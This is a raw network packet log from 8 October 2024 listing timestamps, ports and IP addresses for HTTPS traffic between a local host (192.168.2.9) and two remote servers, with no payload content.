Oct 8, 2024 20:52:14.333872080 CEST	49782	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:14.333903074 CEST	443	49782	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:14.333916903 CEST	443	49782	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:14.342508078 CEST	443	49781	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:14.342573881 CEST	443	49781	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:14.342648983 CEST	49781	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:14.343571901 CEST	49786	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:14.343611002 CEST	443	49786	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:14.344104052 CEST	49781	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:14.344134092 CEST	443	49781	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:14.344147921 CEST	49781	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:14.344152927 CEST	49786	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:14.344156027 CEST	443	49781	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:14.346035957 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.346057892 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.346137047 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.346165895 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.346177101 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.346704006 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.347836971 CEST	49787	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:14.347865105 CEST	443	49787	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:14.347991943 CEST	49787	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:14.348067045 CEST	49786	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:14.348083973 CEST	443	49786	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:14.348277092 CEST	49787	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:14.348298073 CEST	443	49787	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:14.348604918 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.348622084 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.348706961 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.348715067 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.348762989 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.348826885 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.348850012 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.348880053 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.348886967 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.348911047 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.348923922 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.349086046 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.349103928 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.349185944 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.349185944 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.349193096 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.349240065 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.349814892 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.349829912 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.349877119 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.349889040 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.349942923 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.349942923 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.350337982 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.350353956 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.350397110 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.350404978 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.350430012 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.350454092 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.351216078 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.351234913 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.351281881 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.351289034 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.351317883 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.351335049 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.351336956 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.351347923 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.351387978 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.351396084 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.351413012 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.351417065 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.351445913 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.351476908 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.354806900 CEST	443	49784	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:14.354863882 CEST	443	49784	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:14.355024099 CEST	49784	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:14.356143951 CEST	49784	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:14.356159925 CEST	443	49784	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:14.356169939 CEST	49784	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:14.356174946 CEST	443	49784	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:14.361399889 CEST	443	49783	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:14.361459017 CEST	443	49783	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:14.361536026 CEST	49783	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:14.362257004 CEST	49783	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:14.362272024 CEST	443	49783	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:14.362282991 CEST	49783	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:14.362287998 CEST	443	49783	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:14.363521099 CEST	443	49785	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:14.363586903 CEST	443	49785	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:14.363895893 CEST	49785	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:14.364557981 CEST	49785	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:14.364584923 CEST	443	49785	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:14.364597082 CEST	49785	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:14.364602089 CEST	443	49785	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:14.370927095 CEST	49788	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:14.370949984 CEST	443	49788	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:14.371011972 CEST	49788	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:14.371222973 CEST	49788	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:14.371233940 CEST	443	49788	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:14.378901958 CEST	49789	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:14.378925085 CEST	443	49789	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:14.379179955 CEST	49789	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:14.379296064 CEST	49789	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:14.379306078 CEST	443	49789	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:14.383049965 CEST	49790	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:14.383074045 CEST	443	49790	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:14.383217096 CEST	49790	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:14.384903908 CEST	49790	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:14.384918928 CEST	443	49790	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:14.653654099 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.653681040 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.653731108 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.653759956 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.653778076 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.653798103 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.653861046 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.653877020 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.653909922 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.653914928 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.653976917 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.653984070 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.653987885 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.654022932 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.654036045 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.654052019 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.654057026 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.654084921 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.654109955 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.654247999 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.654266119 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.654320002 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.654325008 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.654361963 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.654584885 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.654604912 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.654649019 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.654655933 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.654692888 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.654748917 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.654762983 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.654803991 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.654808998 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.654844999 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.654891968 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.654906034 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.654946089 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.654951096 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.654987097 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.655342102 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.655359030 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.655406952 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.655414104 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.655455112 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.655878067 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.655894995 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.655956984 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.655962944 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.656002045 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.656028032 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.656042099 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.656079054 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.656084061 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.656109095 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.656125069 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.656135082 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.656140089 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.656167984 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.656176090 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.656198978 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.656203985 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.656234026 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.656234026 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.656553030 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.656567097 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.656618118 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.656626940 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.656662941 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.656691074 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.656706095 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.656749964 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.656754017 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.656805038 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.656809092 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.656820059 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.656852007 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.656864882 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.656871080 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.656898022 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.656914949 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.657454967 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.657475948 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.657521009 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.657535076 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.657551050 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.657577038 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.657659054 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.657725096 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.657740116 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.657794952 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.657800913 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.658318043 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.658340931 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.658384085 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.658394098 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.658415079 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.658421993 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.658428907 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.658458948 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.658464909 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.658492088 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.658596992 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.658674002 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.658679008 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.658727884 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.658740997 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.658807993 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.658807993 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.658813953 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.659302950 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.659324884 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.659372091 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.659379959 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.659404993 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.659473896 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.659487963 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.659522057 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.659527063 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.659540892 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.659584999 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.659605980 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.659630060 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.659635067 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.659653902 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.708086014 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.716681004 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.716703892 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.716783047 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.716804981 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.716846943 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.720172882 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.720195055 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.720263004 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.720279932 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.720334053 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.721008062 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.721026897 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.721075058 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.721082926 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.721111059 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.721127033 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.721359015 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.721379042 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.721431017 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.721442938 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.721484900 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.722356081 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.722376108 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.722434044 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.722445965 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.722477913 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.722484112 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.722491980 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.722543001 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.722765923 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.722825050 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.722831964 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.722841978 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.722882032 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.722894907 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.722930908 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.722949028 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.722990990 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.722995996 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.723032951 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.823342085 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.823437929 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.823441982 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.823476076 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.823501110 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.823515892 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.828036070 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.828084946 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.828145027 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.828174114 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.828192949 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.828275919 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.828316927 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.828370094 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.828372955 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.828396082 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.828448057 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.828448057 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.828628063 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.828666925 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.828696012 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.828707933 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.828738928 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.828756094 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.831307888 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.831358910 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.831403017 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.831432104 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.831449032 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.831522942 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.831638098 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.831677914 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.831828117 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.831840038 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.831935883 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.832006931 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.832019091 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.832060099 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.832128048 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.832185984 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.832192898 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.879959106 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.915796995 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.915817976 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.915875912 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.915910959 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.915926933 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.915960073 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.918900967 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.918963909 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.918987989 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.919002056 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.919043064 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.920818090 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.920835018 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.920919895 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.920927048 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.920964956 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.921092033 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.921109915 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.921153069 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:14.921159983 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:14.921195030 CEST	49775	443	192.168.2.9	188.114.96.3
